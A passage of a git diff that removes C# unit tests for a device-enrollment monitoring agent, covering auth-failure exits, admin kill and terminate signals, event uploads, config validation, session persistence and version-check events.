} - - [Fact] - public void HandleAuthFailure_MaxAuthFailuresDisabled_NeverExitsOnCount() - { - _config.MaxAuthFailures = 0; - var orch = CreateOrchestrator(); - - for (int i = 0; i < 100; i++) - orch.HandleAuthFailure(401); - - Assert.Null(_exitCode); - } - - [Fact] - public void HandleAuthFailure_TimeoutDisabled_NeverExitsOnTime() - { - _config.MaxAuthFailures = 0; - _config.AuthFailureTimeoutMinutes = 0; - var orch = CreateOrchestrator(); - - for (int i = 0; i < 10; i++) - orch.HandleAuthFailure(401); - - Assert.Null(_exitCode); - } - - // ===== Admin Signal Processing ===== - - [Fact] - public async Task UploadEvents_KillSignal_SynthesizesTerminateActionWithForceSelfDestruct() - { - // After the consolidation the orchestrator no longer runs kill-specific inline logic. - // It synthesizes a terminate_session ServerAction and hands it to the dispatcher. - // The actual self-destruct + exit happens in MonitoringService.HandleTerminateSessionAsync - // (see dedicated tests there). We verify the synthesis contract here. - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { DeviceKillSignal = true }); - - List dispatched = null; - var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured); - - var orch = CreateOrchestrator(); - orch.SetServerActionDispatcher(dispatcher); - await orch.UploadEventsAsync(); - - Assert.NotNull(dispatched); - Assert.Single(dispatched); - Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type); - Assert.Equal("true", dispatched[0].Params["forceSelfDestruct"]); - Assert.Equal("0", dispatched[0].Params["gracePeriodSeconds"]); - Assert.Equal("kill_signal", dispatched[0].Params["origin"]); - } - - [Fact] - public async Task UploadEvents_DeviceBlocked_StopsTimers_NoSelfDestruct() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { DeviceBlocked = true }); - - var orch = CreateOrchestrator(); - await orch.UploadEventsAsync(); - - _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never); - Assert.Null(_exitCode); - Assert.Empty(_shutdownEvents); - } - - [Fact] - public async Task UploadEvents_AdminOverride_Succeeded_SynthesizesTerminateWithOutcome() - { - // AdminAction is a soft-shutdown path — no forceSelfDestruct. The adminOutcome param - // tells MonitoringService.HandleTerminateSessionAsync to emit enrollment_complete - // instead of agent_shutdown. - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" }); - _terminalEventSeen = false; - - List dispatched = null; - var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured); - - var orch = CreateOrchestrator(); - orch.SetServerActionDispatcher(dispatcher); - await orch.UploadEventsAsync(); - - Assert.NotNull(dispatched); - Assert.Single(dispatched); - Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type); - Assert.Equal("Succeeded", dispatched[0].Params["adminOutcome"]); - Assert.Equal("admin_action", dispatched[0].Params["origin"]); - Assert.False(dispatched[0].Params.ContainsKey("forceSelfDestruct")); - } - - [Fact] - public async Task UploadEvents_AdminOverride_Failed_SynthesizesTerminateWithFailedOutcome() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { AdminAction = "Failed" }); - _terminalEventSeen = false; - - List dispatched = null; - var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured); - - var orch = CreateOrchestrator(); - orch.SetServerActionDispatcher(dispatcher); - await orch.UploadEventsAsync(); - - Assert.NotNull(dispatched); - Assert.Single(dispatched); - Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type); - Assert.Equal("Failed", dispatched[0].Params["adminOutcome"]); - } - - [Fact] - public async Task UploadEvents_AdminOverride_TerminalEventAlreadySeen_Ignored() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" }); - _terminalEventSeen = true; - - var orch = CreateOrchestrator(); - await orch.UploadEventsAsync(); - - Assert.Empty(_emittedEvents); - } - - // ===== Upload Success/Failure Tracking ===== - - [Fact] - public async Task UploadEvents_Success_RemovesEventsFromSpool() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 }); - - var orch = CreateOrchestrator(); - await orch.UploadEventsAsync(); - - _mockSpool.Verify(s => s.RemoveEvents(events), Times.Once); - } - - [Fact] - public async Task UploadEvents_EmptySpool_NoApiCall() - { - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(new List()); - - var orch = CreateOrchestrator(); - await orch.UploadEventsAsync(); - - _mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny()), Times.Never); - } - - [Fact] - public async Task UploadEvents_AuthException_TriggersHandleAuthFailure() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ThrowsAsync(new BackendAuthException("Unauthorized", 401)); - _config.MaxAuthFailures = 0; // disable exit so test doesn't trip ExitProcess - - var orch = CreateOrchestrator(); - await orch.UploadEventsAsync(); - - // Distress should be sent (first auth failure) - _mockDistress.Verify(d => d.TrySendAsync( - DistressErrorType.AuthCertificateRejected, - It.IsAny(), - 401), Times.Once); - } - - [Fact] - public async Task UploadEvents_GenericException_IncrementsUploadFailureCounter() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .ThrowsAsync(new Exception("Network error")); - - var orch = CreateOrchestrator(); - - // Call 3 times to reach the emergency threshold - for (int i = 0; i < EmergencyReporter.ConsecutiveFailureThreshold; i++) - await orch.UploadEventsAsync(); - - _mockEmergency.Verify(e => e.TrySendAsync( - AgentErrorType.IngestFailed, - It.IsAny(), - It.IsAny(), - It.IsAny()), Times.Once); - } - - [Fact] - public async Task UploadEvents_Success_ResetsAllFailureCounters() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - - // First call: fail with generic exception - _mockApiClient.SetupSequence(a => a.IngestEventsAsync(It.IsAny())) - .ThrowsAsync(new Exception("Network error")) - .ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 }) - .ThrowsAsync(new Exception("Network error again")); - - var orch = CreateOrchestrator(); - - // Failure #1 - await orch.UploadEventsAsync(); - // Success — resets counter - await orch.UploadEventsAsync(); - // Failure #1 again (counter was reset, so emergency at threshold from fresh start) - await orch.UploadEventsAsync(); - - // Emergency should NOT be sent because the counter was reset after 1 failure - // (threshold is 3, we only had 1 failure after reset) - _mockEmergency.Verify(e => e.TrySendAsync( - It.IsAny(), - It.IsAny(), - It.IsAny(), - It.IsAny()), Times.Never); - } - - [Fact] - public async Task UploadEvents_ConcurrentCall_SecondSkipped() - { - var events = CreateTestEvents(); - _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events); - - var tcs = new TaskCompletionSource(); - _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny())) - .Returns(tcs.Task); - - var orch = CreateOrchestrator(); - - // Start first upload (will block on tcs) - var task1 = orch.UploadEventsAsync(); - - // Second call should be skipped immediately - await orch.UploadEventsAsync(); - - // Complete the first call - tcs.SetResult(new IngestEventsResponse { Success = true, EventsProcessed = 3 }); - await task1; - - // API should only be called once (second was skipped) - _mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny()), Times.Once); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs deleted file mode 100644 index 55a725b5..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using System.IO; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - /// - /// Verifies that MonitoringService rejects an incomplete AgentConfiguration with a - /// diagnostic message that names the missing fields. Customer-impact regression - /// (gardnermedia, 2026-04-30): a TenantId-less startup crashed with an opaque - /// "Invalid agent configuration" message that defied forensic analysis. - /// - public class MonitoringServiceConfigValidationTests : IDisposable - { - private readonly string _tempDir; - - public MonitoringServiceConfigValidationTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "autopilot-cfg-validation-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - } - - public void Dispose() - { - try { Directory.Delete(_tempDir, true); } catch { } - } - - private AgentConfiguration BuildValidConfig() => new AgentConfiguration - { - ApiBaseUrl = "https://example.invalid", - SessionId = Guid.NewGuid().ToString(), - TenantId = Guid.NewGuid().ToString(), - SpoolDirectory = Path.Combine(_tempDir, "spool"), - LogDirectory = Path.Combine(_tempDir, "logs") - }; - - private AgentLogger BuildLogger() => new AgentLogger(Path.Combine(_tempDir, "logs")); - - [Fact] - public void Constructor_throws_with_field_name_when_TenantId_missing() - { - var config = BuildValidConfig(); - config.TenantId = null; - - var ex = Assert.Throws( - () => new MonitoringService(config, BuildLogger(), agentVersion: "test")); - - Assert.Contains("missing", ex.Message); - Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message); - } - - [Fact] - public void Constructor_throws_with_field_name_when_SessionId_missing() - { - var config = BuildValidConfig(); - config.SessionId = ""; - - var ex = Assert.Throws( - () => new MonitoringService(config, BuildLogger(), agentVersion: "test")); - - Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message); - } - - [Fact] - public void Constructor_throws_with_field_name_when_ApiBaseUrl_missing() - { - var config = BuildValidConfig(); - config.ApiBaseUrl = null; - - var ex = Assert.Throws( - () => new MonitoringService(config, BuildLogger(), agentVersion: "test")); - - Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message); - } - - [Fact] - public void Constructor_throws_with_all_field_names_when_multiple_missing() - { - var config = new AgentConfiguration - { - ApiBaseUrl = null, - SessionId = null, - TenantId = null, - SpoolDirectory = Path.Combine(_tempDir, "spool"), - LogDirectory = Path.Combine(_tempDir, "logs") - }; - - var ex = Assert.Throws( - () => new MonitoringService(config, BuildLogger(), agentVersion: "test")); - - Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message); - Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message); - Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message); - } - - [Fact] - public void Constructor_message_does_not_change_for_valid_config() - { - // Sanity: a fully-populated config should NOT throw the validation exception. - // It may throw later (cert load, spool init) — we only assert the validation - // path itself does not fire on a complete config. - var config = BuildValidConfig(); - - var ex = Record.Exception(() => new MonitoringService(config, BuildLogger(), agentVersion: "test")); - if (ex is InvalidOperationException ioe) - Assert.DoesNotContain("Invalid agent configuration:", ioe.Message); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs deleted file mode 100644 index de85c5e5..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.IO; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - /// - /// Tests session persistence across agent restarts, reboots, and OS resets. - /// Prevents: session splits when session.created is lost during reboot (orphan guard - /// was too aggressive — deleted session.id instead of recovering session.created). - /// - public class SessionPersistenceTests : IDisposable - { - private readonly string _tempDir; - - public SessionPersistenceTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "autopilot-session-test-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - } - - public void Dispose() - { - try { Directory.Delete(_tempDir, true); } catch { } - } - - [Fact] - public void LoadOrCreateSessionId_FirstRun_CreatesNewSession() - { - var persistence = new SessionPersistence(_tempDir); - var sessionId = persistence.LoadOrCreateSessionId(); - - Assert.True(Guid.TryParse(sessionId, out _)); - Assert.True(File.Exists(Path.Combine(_tempDir, "session.id"))); - Assert.True(File.Exists(Path.Combine(_tempDir, "session.created"))); - } - - [Fact] - public void LoadOrCreateSessionId_ExistingSession_ReturnsExistingId() - { - var persistence = new SessionPersistence(_tempDir); - var firstId = persistence.LoadOrCreateSessionId(); - - // Simulate agent restart — new SessionPersistence instance, same directory - var persistence2 = new SessionPersistence(_tempDir); - var secondId = persistence2.LoadOrCreateSessionId(); - - Assert.Equal(firstId, secondId); - } - - /// - /// Regression test for the session-split bug: after a reboot, if session.created - /// is lost (filesystem flush, corruption, etc.) but session.id survives, - /// the agent must resume the existing session — not create a new one. - /// - [Fact] - public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_ResumesSession() - { - // Arrange: create a valid session, then delete session.created to simulate loss - var persistence = new SessionPersistence(_tempDir); - var originalId = persistence.LoadOrCreateSessionId(); - - File.Delete(Path.Combine(_tempDir, "session.created")); - Assert.False(File.Exists(Path.Combine(_tempDir, "session.created"))); - - // Act: simulate agent restart after reboot - var persistence2 = new SessionPersistence(_tempDir); - var resumedId = persistence2.LoadOrCreateSessionId(); - - // Assert: same session ID, session.created re-initialized - Assert.Equal(originalId, resumedId); - Assert.True(File.Exists(Path.Combine(_tempDir, "session.created"))); - } - - /// - /// True orphan: session.id from a previous enrollment (old file) without - /// session.created should still be discarded and a new session created. - /// - [Fact] - public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_CreatesNewSession() - { - // Arrange: write a session.id with an old modification time - var sessionIdPath = Path.Combine(_tempDir, "session.id"); - var oldGuid = Guid.NewGuid().ToString(); - File.WriteAllText(sessionIdPath, oldGuid); - - // Set file modification time to well beyond the orphan guard threshold - var oldTime = DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24)); - File.SetLastWriteTimeUtc(sessionIdPath, oldTime); - - // No session.created file — simulates OS reset where ProgramData survived - - // Act - var persistence = new SessionPersistence(_tempDir); - var newId = persistence.LoadOrCreateSessionId(); - - // Assert: new session created, not the old orphan - Assert.NotEqual(oldGuid, newId); - Assert.True(Guid.TryParse(newId, out _)); - Assert.True(File.Exists(Path.Combine(_tempDir, "session.created"))); - } - - [Fact] - public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_PreservesSequence() - { - // Arrange: create session with sequence, then delete session.created - var persistence = new SessionPersistence(_tempDir); - var originalId = persistence.LoadOrCreateSessionId(); - persistence.SaveSequence(42); - - File.Delete(Path.Combine(_tempDir, "session.created")); - - // Act: restart - var persistence2 = new SessionPersistence(_tempDir); - var resumedId = persistence2.LoadOrCreateSessionId(); - var sequence = persistence2.LoadSequence(); - - // Assert: session AND sequence preserved - Assert.Equal(originalId, resumedId); - Assert.Equal(42, sequence); - } - - [Fact] - public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_ClearsSequence() - { - // Arrange: old session.id + sequence file, no session.created - var sessionIdPath = Path.Combine(_tempDir, "session.id"); - File.WriteAllText(sessionIdPath, Guid.NewGuid().ToString()); - File.SetLastWriteTimeUtc(sessionIdPath, - DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24))); - - var seqPath = Path.Combine(_tempDir, "session.seq"); - File.WriteAllText(seqPath, "99"); - - // Act - var persistence = new SessionPersistence(_tempDir); - persistence.LoadOrCreateSessionId(); - var sequence = persistence.LoadSequence(); - - // Assert: sequence reset (old orphan files cleaned up) - Assert.Equal(0, sequence); - } - - [Fact] - public void DeleteSession_RemovesAllFiles() - { - var persistence = new SessionPersistence(_tempDir); - persistence.LoadOrCreateSessionId(); - persistence.SaveSequence(10); - - persistence.DeleteSession(); - - Assert.False(File.Exists(Path.Combine(_tempDir, "session.id"))); - Assert.False(File.Exists(Path.Combine(_tempDir, "session.seq"))); - Assert.False(File.Exists(Path.Combine(_tempDir, "session.created"))); - } - - [Fact] - public void NewSession_Flag_ForcesNewSession() - { - var persistence = new SessionPersistence(_tempDir); - var firstId = persistence.LoadOrCreateSessionId(); - - // Simulate --new-session flag: delete then create - persistence.DeleteSession(); - var secondId = persistence.LoadOrCreateSessionId(); - - Assert.NotEqual(firstId, secondId); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs deleted file mode 100644 index d2f23e64..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs +++ /dev/null @@ -1,313 +0,0 @@ -using System; -using System.IO; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json.Linq; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - /// - /// Covers the three outcomes (updated / skipped / check_failed / up_to_date), the dedup rules, - /// and the defensive behaviors (no marker, corrupt JSON, stale markers). - /// - public class VersionCheckEventBuilderTests : IDisposable - { - private readonly string _tempDir; - private readonly VersionCheckEventBuilder.Paths _paths; - - private const string SessionA = "11111111-1111-1111-1111-111111111111"; - private const string SessionB = "22222222-2222-2222-2222-222222222222"; - private const string TenantId = "tenant-xyz"; - - public VersionCheckEventBuilderTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "vceb-test-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - _paths = new VersionCheckEventBuilder.Paths - { - UpdatedMarker = Path.Combine(_tempDir, "self-update-info.json"), - SkippedMarker = Path.Combine(_tempDir, "self-update-skipped.json"), - CheckedMarker = Path.Combine(_tempDir, "self-update-checked.json"), - LastEmit = Path.Combine(_tempDir, "last-version-check.json"), - }; - } - - public void Dispose() - { - try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } catch { } - } - - private void WriteChecked(string current = "1.0.949", string latest = "1.0.949", long versionCheckMs = 123) - { - var json = new JObject - { - ["outcome"] = "up_to_date", - ["currentVersion"] = current, - ["latestVersion"] = latest, - ["versionCheckMs"] = versionCheckMs, - ["checkedAtUtc"] = DateTime.UtcNow.ToString("O"), - }; - File.WriteAllText(_paths.CheckedMarker, json.ToString()); - } - - private void WriteUpdated(string previous = "1.0.949", string newVer = "1.0.950", string trigger = "startup") - { - var now = DateTime.UtcNow; - var json = new JObject - { - ["outcome"] = "updated", - ["previousVersion"] = previous, - ["newVersion"] = newVer, - ["triggerReason"] = trigger, - ["updatedAtUtc"] = now.ToString("O"), - ["exitAtUtc"] = now.AddSeconds(-2).ToString("O"), - ["versionCheckMs"] = 100L, - ["downloadMs"] = 2000L, - ["zipSizeBytes"] = 1234567L, - ["verifyMs"] = 40L, - ["extractMs"] = 200L, - ["swapMs"] = 50L, - ["totalUpdateMs"] = 2400L, - }; - File.WriteAllText(_paths.UpdatedMarker, json.ToString()); - } - - private void WriteSkipped(string reason = "download_failed", string latest = "1.0.950", string outcome = null) - { - var json = new JObject - { - ["reason"] = reason, - ["currentVersion"] = "1.0.949", - ["latestVersion"] = latest, - ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"), - ["errorDetail"] = "timeout after 10000ms", - }; - if (outcome != null) json["outcome"] = outcome; - File.WriteAllText(_paths.SkippedMarker, json.ToString()); - } - - private void WriteLastEmit(string sessionId, string latestVersion, string outcome) - { - var json = new JObject - { - ["sessionId"] = sessionId, - ["latestVersion"] = latestVersion, - ["outcome"] = outcome, - ["emittedAtUtc"] = DateTime.UtcNow.ToString("O"), - }; - File.WriteAllText(_paths.LastEmit, json.ToString()); - } - - [Fact] - public void NoMarker_ReturnsNoEvent() - { - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Null(result.Event); - Assert.False(result.Deduped); - Assert.Null(result.Outcome); - Assert.Null(result.ParseError); - } - - [Fact] - public void UpToDateMarker_FirstTime_EmitsEventAndPersistsLastEmit() - { - WriteChecked(latest: "1.0.949"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.Equal(Constants.EventTypes.AgentVersionCheck, result.Event.EventType); - Assert.Equal(EventSeverity.Info, result.Event.Severity); - Assert.Equal("up_to_date", result.Event.Data["outcome"]); - Assert.Equal("1.0.949", result.Event.Data["latestVersion"]); - Assert.False(File.Exists(_paths.CheckedMarker)); // marker deleted - Assert.True(File.Exists(_paths.LastEmit)); // last-emit persisted - } - - [Fact] - public void UpToDateMarker_SameSessionSameVersion_IsDeduped() - { - WriteLastEmit(SessionA, "1.0.949", "up_to_date"); - WriteChecked(latest: "1.0.949"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Null(result.Event); - Assert.True(result.Deduped); - Assert.Equal("up_to_date", result.Outcome); - Assert.False(File.Exists(_paths.CheckedMarker)); - } - - [Fact] - public void UpToDateMarker_DifferentSession_EmitsEvent() - { - WriteLastEmit(SessionA, "1.0.949", "up_to_date"); - WriteChecked(latest: "1.0.949"); - - var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.False(result.Deduped); - } - - [Fact] - public void UpToDateMarker_SameSessionButNewerLatestVersion_EmitsEvent() - { - // White-glove scenario: after a pause a new release appeared. Dedup must break. - WriteLastEmit(SessionA, "1.0.949", "up_to_date"); - WriteChecked(latest: "1.0.950"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.False(result.Deduped); - Assert.Equal("1.0.950", result.Event.Data["latestVersion"]); - } - - [Fact] - public void UpdatedMarker_AlwaysEmits_IgnoresLastEmit() - { - WriteLastEmit(SessionA, "1.0.950", "updated"); - WriteUpdated(previous: "1.0.949", newVer: "1.0.950", trigger: "startup"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.Equal("updated", result.Event.Data["outcome"]); - Assert.Equal(EventSeverity.Info, result.Event.Severity); - Assert.Equal("1.0.949", result.Event.Data["previousVersion"]); - Assert.Equal("1.0.950", result.Event.Data["newVersion"]); - Assert.True(result.Event.Data.ContainsKey("downtimeMs")); - Assert.False(File.Exists(_paths.UpdatedMarker)); - } - - [Fact] - public void UpdatedMarker_RuntimeTrigger_IsWarningSeverity() - { - WriteUpdated(trigger: "runtime_hash_mismatch"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Equal(EventSeverity.Warning, result.Event.Severity); - } - - [Fact] - public void SkippedMarker_DownloadFailed_EmitsWithSkippedOutcome() - { - WriteSkipped(reason: "download_failed"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.Equal("skipped", result.Event.Data["outcome"]); - Assert.Equal("download_failed", result.Event.Data["reason"]); - Assert.Equal(EventSeverity.Warning, result.Event.Severity); - Assert.False(File.Exists(_paths.SkippedMarker)); - } - - [Fact] - public void SkippedMarker_VersionCheckFailed_DerivesCheckFailedOutcome() - { - // Backward-compat: old marker without outcome field — must still map correctly. - WriteSkipped(reason: "version_check_failed", latest: null, outcome: null); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Equal("check_failed", result.Event.Data["outcome"]); - } - - [Fact] - public void Priority_UpdatedBeatsSkippedBeatsChecked() - { - // All three present (edge case after a crash). Updated wins, the others are cleaned up. - WriteUpdated(); - WriteSkipped(); - WriteChecked(); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Equal("updated", result.Event.Data["outcome"]); - Assert.False(File.Exists(_paths.UpdatedMarker)); - Assert.False(File.Exists(_paths.SkippedMarker)); - Assert.False(File.Exists(_paths.CheckedMarker)); - } - - [Fact] - public void CorruptMarker_DoesNotThrow_ReturnsParseError() - { - File.WriteAllText(_paths.CheckedMarker, "{ not valid json"); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Null(result.Event); - Assert.NotNull(result.ParseError); - Assert.False(File.Exists(_paths.CheckedMarker)); // still cleaned up - } - - private void WriteDowngradeBlocked(string current = "1.0.961", string latest = "1.0.951", string trigger = "runtime_hash_mismatch") - { - var json = new JObject - { - ["outcome"] = "downgrade_blocked", - ["reason"] = "downgrade_blocked", - ["currentVersion"] = current, - ["latestVersion"] = latest, - ["triggerReason"] = trigger, - ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"), - ["errorDetail"] = string.Empty, - }; - File.WriteAllText(_paths.SkippedMarker, json.ToString()); - } - - [Fact] - public void DowngradeBlockedMarker_FirstTime_EmitsWarningEvent() - { - WriteDowngradeBlocked(); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.Equal(EventSeverity.Warning, result.Event.Severity); - Assert.Equal("downgrade_blocked", result.Event.Data["outcome"]); - Assert.Equal("1.0.951", result.Event.Data["latestVersion"]); - Assert.Equal("1.0.961", result.Event.Data["currentVersion"]); - Assert.Equal("runtime_hash_mismatch", result.Event.Data["triggerReason"]); - Assert.Contains("downgrade from 1.0.961 to 1.0.951", result.Event.Message); - Assert.False(result.Deduped); - Assert.False(File.Exists(_paths.SkippedMarker)); - } - - [Fact] - public void DowngradeBlocked_SameSessionSameLatest_IsDeduped() - { - WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked"); - WriteDowngradeBlocked(); - - var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths); - - Assert.Null(result.Event); - Assert.True(result.Deduped); - Assert.Equal("downgrade_blocked", result.Outcome); - } - - [Fact] - public void DowngradeBlocked_DifferentSession_EmitsFresh() - { - WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked"); - WriteDowngradeBlocked(); - - var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths); - - Assert.NotNull(result.Event); - Assert.False(result.Deduped); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs deleted file mode 100644 index a35e5a22..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs +++ /dev/null @@ -1,123 +0,0 @@ -using AutopilotMonitor.Shared.Models; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Flows -{ - /// - /// Guards the v1/v2 enrollment-flow "Weiche": ensures flow handlers expose the correct - /// policy bits and the factory picks the right handler for each EnrollmentType. - /// Prevents regressions such as DevPrep flows accidentally applying the ESP gate, - /// or Classic flows skipping ESP-phase tracking. - /// - public class EnrollmentFlowTests - { - // -- Enum <-> wire format roundtrip -- - - [Theory] - [InlineData("v1", EnrollmentType.Classic)] - [InlineData("V1", EnrollmentType.Classic)] - [InlineData("v2", EnrollmentType.DevicePreparation)] - [InlineData("V2", EnrollmentType.DevicePreparation)] - public void FromWireFormat_KnownValues_ReturnsMatchingEnum(string wire, EnrollmentType expected) - { - Assert.Equal(expected, EnrollmentTypeExtensions.FromWireFormat(wire)); - } - - [Theory] - [InlineData(null)] - [InlineData("")] - [InlineData(" ")] - [InlineData("v3")] - [InlineData("classic")] - public void FromWireFormat_UnknownOrEmpty_ReturnsUnknown(string wire) - { - Assert.Equal(EnrollmentType.Unknown, EnrollmentTypeExtensions.FromWireFormat(wire)); - } - - [Theory] - 